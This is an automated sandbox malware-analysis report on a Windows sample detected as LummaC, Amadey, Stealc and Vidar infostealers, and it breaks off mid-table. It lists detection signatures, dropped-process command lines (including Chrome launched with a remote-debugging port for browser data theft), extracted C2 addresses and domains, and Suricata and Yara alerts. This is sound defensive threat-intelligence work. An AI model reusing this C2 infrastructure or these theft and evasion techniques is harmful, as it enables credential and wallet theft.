Edit tour

Windows Analysis Report
AWrVzd6XpC.exe

Overview

General Information

Sample name:	AWrVzd6XpC.exe renamed because original name is a hash value
Original sample name:	d0bb2fa7815ae25e59827dd3e8a710ba.exe
Analysis ID:	1578033
MD5:	d0bb2fa7815ae25e59827dd3e8a710ba
SHA1:	013aa5756aa4fea565a5e4f576af688dc65d7435
SHA256:	e9d6b68a7005d52a9caa77bd238493442a002b09eeb6c52542a587631a92de88
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

AWrVzd6XpC.exe (PID: 6360 cmdline: "C:\Users\user\Desktop\AWrVzd6XpC.exe" MD5: D0BB2FA7815AE25E59827DD3E8A710BA)

I8WIG9OBFWN5NKZK2DW5QG7.exe (PID: 1804 cmdline: "C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe" MD5: 9DFBAEBCE6E517991F34B94C67A038E2)

BSXM76J67J2SWCC02VQCUVS8ZQNV.exe (PID: 4944 cmdline: "C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe" MD5: 696EE1C9D08773339EFE314269DCF7F5)

chrome.exe (PID: 6188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6652 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2152,i,2628833055758464656,3671942002628808571,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cmd.exe (PID: 4928 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCBKECAKFB.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

GCBKECAKFB.exe (PID: 5432 cmdline: "C:\Users\user\Documents\GCBKECAKFB.exe" MD5: B48526E3264A9EBF9AE221DF76F8511E)

skotes.exe (PID: 3084 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: B48526E3264A9EBF9AE221DF76F8511E)

skotes.exe (PID: 6940 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B48526E3264A9EBF9AE221DF76F8511E)

skotes.exe (PID: 4020 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: B48526E3264A9EBF9AE221DF76F8511E)

8c6b987a2c.exe (PID: 3328 cmdline: "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 5812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

8c6b987a2c.exe (PID: 2176 cmdline: "C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

59bcbe04f3.exe (PID: 2996 cmdline: "C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe" MD5: 25FB9C54265BBACC7A055174479F0B70)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "sustainskelet.lat", "rapeflowwj.lat", "pancakedipyps.click", "discokeyus.lat", "energyaffai.lat", "grannyejh.lat", "necklacebudi.lat", "crosshuaht.lat"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1830842138.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1834366630.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1827868227.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1836312531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1832522156.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2504800940.0000000004760000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1831567671.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1835201454.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.2734844908.0000000004B80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1834620512.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1834122320.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000003.2539502026.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000002.2951627385.0000000001543000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1830212681.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1829521154.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.2537187221.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1828173832.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1830344837.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1831976810.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1832350531.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1828033872.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1835695200.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1833765561.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1827517066.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1827703782.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1835906268.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1829378955.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1803073510.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1829717579.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.2547468829.0000000000811000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1834865370.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1829232794.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000002.2578023164.0000000000541000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1836646510.0000000000CCB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1833395225.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1836130970.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000003.2056866010.0000000005310000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000F.00000002.2949729099.0000000000541000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1833971224.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1829992929.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1829083326.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1780052201.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1835443939.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1835054371.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2579902059.0000000000541000.00000040.00000001.01000000.00000012.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1802647580.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1833569093.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1830465001.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1831230939.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2518247664.0000000000AE1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1833055693.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1836406182.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1830574619.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1831383332.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1832804800.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2523365754.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1827362513.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2523365754.0000000001562000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1831043610.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AWrVzd6XpC.exe PID: 6360	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: AWrVzd6XpC.exe PID: 6360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: AWrVzd6XpC.exe PID: 6360	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe PID: 4944	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8c6b987a2c.exe PID: 2176	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 8c6b987a2c.exe PID: 2176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 8c6b987a2c.exe PID: 2176	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 65 entries

Unpacked PEs

Source	Rule	Description	Author
15.2.skotes.exe.540000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
12.2.GCBKECAKFB.exe.810000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
14.2.skotes.exe.540000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
13.2.skotes.exe.540000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe", ParentImage: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, ParentProcessId: 4944, ParentProcessName: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 6188, ProcessName: chrome.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:20.959017+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:56:23.094754+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:56:25.816524+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	172.67.179.109	443	TCP
2024-12-19T07:56:28.162638+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	172.67.179.109	443	TCP
2024-12-19T07:56:30.534818+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.179.109	443	TCP
2024-12-19T07:56:33.821848+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.179.109	443	TCP
2024-12-19T07:56:36.651513+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.179.109	443	TCP
2024-12-19T07:56:42.022462+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.179.109	443	TCP
2024-12-19T07:58:18.084467+0100	2028371	3	Unknown Traffic	192.168.2.4	49909	172.67.209.202	443	TCP
2024-12-19T07:58:20.388389+0100	2028371	3	Unknown Traffic	192.168.2.4	49916	172.67.209.202	443	TCP
2024-12-19T07:58:22.893900+0100	2028371	3	Unknown Traffic	192.168.2.4	49925	172.67.209.202	443	TCP
2024-12-19T07:58:24.806036+0100	2028371	3	Unknown Traffic	192.168.2.4	49929	172.67.180.113	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:21.781207+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:56:23.938775+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:56:43.151399+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	172.67.179.109	443	TCP
2024-12-19T07:58:19.166287+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49909	172.67.209.202	443	TCP
2024-12-19T07:58:21.200416+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49916	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:21.781207+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:58:19.166287+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49909	172.67.209.202	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:23.938775+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:58:21.200416+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49916	172.67.209.202	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:20.959017+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	172.67.179.109	443	TCP
2024-12-19T07:56:23.094754+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	172.67.179.109	443	TCP
2024-12-19T07:56:25.816524+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	172.67.179.109	443	TCP
2024-12-19T07:56:28.162638+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	172.67.179.109	443	TCP
2024-12-19T07:56:30.534818+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	172.67.179.109	443	TCP
2024-12-19T07:56:33.821848+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	172.67.179.109	443	TCP
2024-12-19T07:56:36.651513+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	172.67.179.109	443	TCP
2024-12-19T07:56:42.022462+0100	2058365	1	Domain Observed Used for C2 Detected	192.168.2.4	49742	172.67.179.109	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:58:18.084467+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49909	172.67.209.202	443	TCP
2024-12-19T07:58:20.388389+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49916	172.67.209.202	443	TCP
2024-12-19T07:58:22.893900+0100	2058398	1	Domain Observed Used for C2 Detected	192.168.2.4	49925	172.67.209.202	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:44.605887+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49744	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:58:16.554956+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49906	185.215.113.43	80	TCP
2024-12-19T07:58:25.891760+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49927	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:19.591402+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.4	59411	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:58:16.494454+0100	2058397	1	Domain Observed Used for C2 Detected	192.168.2.4	62399	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T07:56:19.446546+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.4	60297	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
